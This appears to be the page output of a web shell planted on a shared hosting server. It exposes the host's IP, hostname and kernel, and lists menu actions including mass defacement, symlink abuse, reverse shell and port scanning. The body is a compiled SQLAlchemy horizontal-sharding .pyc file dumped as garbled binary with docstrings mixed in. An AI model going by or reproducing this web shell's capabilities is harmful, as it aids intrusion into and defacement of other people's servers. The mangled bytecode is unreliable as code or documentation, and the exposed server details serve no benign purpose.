Tul xxx Tul
User / IP
:
216.73.216.170
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
opt
/
alt
/
python27
/
lib64
/
python2.7
/
site-packages
/
sqlalchemy
/
ext
/
Viewing: horizontal_shard.pyc
� 1��fc @ s� d Z d d l m Z d d l m Z d d l m Z d d l m Z d d l m Z d d l m Z d d g Z d e f d � � YZ d e f d � � YZ d � Z d S( s Horizontal sharding support. Defines a rudimental 'horizontal sharding' system which allows a Session to distribute queries and persistence operations across multiple databases. For a usage example, see the :ref:`examples_sharding` example included in the source distribution. i ( t event( t exc( t inspect( t util( t Query( t Sessiont ShardedSessiont ShardedQueryc B s e Z d � Z d � Z RS( c O sS t t | � j | | � | j j | _ | j j | _ | j j | _ d | _ d S( N( t superR t __init__t sessiont id_choosert query_choosert execute_choosert Nonet _shard_id( t selft argst kwargs( ( sR /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/ext/horizontal_shard.pyR s c C s | j d | � S( s� Return a new query, limited to a single shard ID. All subsequent operations with the returned query will be against the single shard regardless of other state. The shard_id can be passed for a 2.0 style execution to the bind_arguments dictionary of :meth:`.Session.execute`:: results = session.execute( stmt, bind_arguments={"shard_id": "my_shard"} ) t _sa_shard_id( t execution_options( R t shard_id( ( sR /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/ext/horizontal_shard.pyt set_shard$ s ( t __name__t __module__R R ( ( ( sR /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/ext/horizontal_shard.pyR s c B sb e Z d d e d � Z d d d � Z d � Z d d d d � Z d d d d d � Z d � Z RS( c s� | j d d � � t t | � j d | | � t j | d t d t �| | _ | | _ � r� t j d d � | r� t j d � � n � f d � } | | _ n | | _ � | _ i | _ | d k r� x% | D] } | j | | | � q� Wn d S( s� Construct a ShardedSession. :param shard_chooser: A callable which, passed a Mapper, a mapped instance, and possibly a SQL clause, returns a shard ID. This id may be based off of the attributes present within the object, or on some round-robin scheme. If the scheme is based on a selection, it should set whatever state on the instance to mark it in the future as participating in that shard. :param id_chooser: A callable, passed a query and a tuple of identity values, which should return a list of shard ids where the ID might reside. The databases will be queried in the order of this listing. :param execute_chooser: For a given :class:`.ORMExecuteState`, returns the list of shard_ids where the query should be issued. Results from all shards returned will be combined together into a single listing. .. versionchanged:: 1.4 The ``execute_chooser`` parameter supersedes the ``query_chooser`` parameter. :param shards: A dictionary of string shard names to :class:`~sqlalchemy.engine.Engine` objects. R t query_clst do_orm_executet retvalsM The ``query_choser`` parameter is deprecated; please use ``execute_chooser``.s 1.4s> Can't pass query_chooser and execute_chooser at the same time.c s � | j � S( N( t statement( t orm_context( R ( sR /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/ext/horizontal_shard.pyR n s N( t popR R R R R t listent execute_and_instancest Truet shard_chooserR R t warn_deprecatedR t ArgumentErrorR R t _ShardedSession__bindst bind_shard( R R" R R t shardsR R t k( ( R sR /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/ext/horizontal_shard.pyR 7 s* " c K s� | d k r. t t | � j | | d | | �S| j | � } | rU | j | � } n xT | j | | � D]@ } t t | � j | | d | d | | �} | d k rh | Sqh Wd Sd S( s_ override the default :meth:`.Session._identity_lookup` method so that we search for a given non-token primary key identity across all possible identity tokens (e.g. shard ids). .. versionchanged:: 1.4 Moved :meth:`.Session._identity_lookup` from the :class:`_query.Query` object to the :class:`.Session`. t identity_tokent lazy_loaded_fromN( R R R t _identity_lookupt queryt _set_lazyload_fromR ( R t mappert primary_key_identityR) R* t kwt qR t obj( ( sR /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/ext/horizontal_shard.pyR+ z s& c K s� | d k rW t | � } | j rD | j d } | d k s@ t � | S| j rW | j Sn | j | | | � } | d k r� | | _ n | S( Ni ( R R t keyt AssertionErrorR) R" ( R R. t instanceR0 t statet tokenR ( ( sR /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/ext/horizontal_shard.pyt _choose_shard_and_assign� s c K sl | d k r! | j | | � } n | j � rF | j � j | d | �S| j | d | d | �j | � Sd S( sa Provide a :class:`_engine.Connection` to use in the unit of work flush process. R R5 N( R R8 t in_transactiont get_transactiont connectiont get_bindt connect( R R. R5 R R ( ( sR /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/ext/horizontal_shard.pyt connection_callable� s c K s2 | d k r' | j | | d | �} n | j | S( Nt clause( R R8 R% ( R R. R R5 R? R0 ( ( sR /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/ext/horizontal_shard.pyR< � s c C s | | j | <d S( N( R% ( R R t bind( ( sR /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/ext/horizontal_shard.pyR& � s N( R R R R R R+ R8 R> R< R& ( ( ( sR /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/ext/horizontal_shard.pyR 6 s A $ c sF � j r � j } } d } n6 � j s1 � j rG d } � j } } n d } } } � j } � f d � } | r� | j d k r� | j } nD d � j k r� � j d } n% d � j k r� � j d } n d } | d k r� | | | | � Sg } x6 | j � � D]% } | | | | � } | j | � qW| d j | d � Sd S( Nc s� t � j � } t � j � } | | d <� j rO | i | d 67} | | d <n0 � j sa � j r | i | d 67} | | d <n � j d | d | � S( NR t _refresh_identity_tokent _sa_orm_load_optionst _sa_orm_update_optionst bind_argumentsR ( t dictt local_execution_optionsRD t is_selectt is_updatet is_deletet invoke_statement( R t load_optionst update_optionsR RD ( R ( sR /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/ext/horizontal_shard.pyt iter_for_shard� s R R i i ( RG RK R RH RI t update_delete_optionsR RA R RD R t appendt merge( R RK t active_optionsRL R RM R t partialt result_( ( R sR /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/ext/horizontal_shard.pyR � s. N( t __doc__t R R R R t orm.queryR t orm.sessionR t __all__R R R ( ( ( sR /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/ext/horizontal_shard.pyt <module> s �
Coded With 💗 by
0x6ick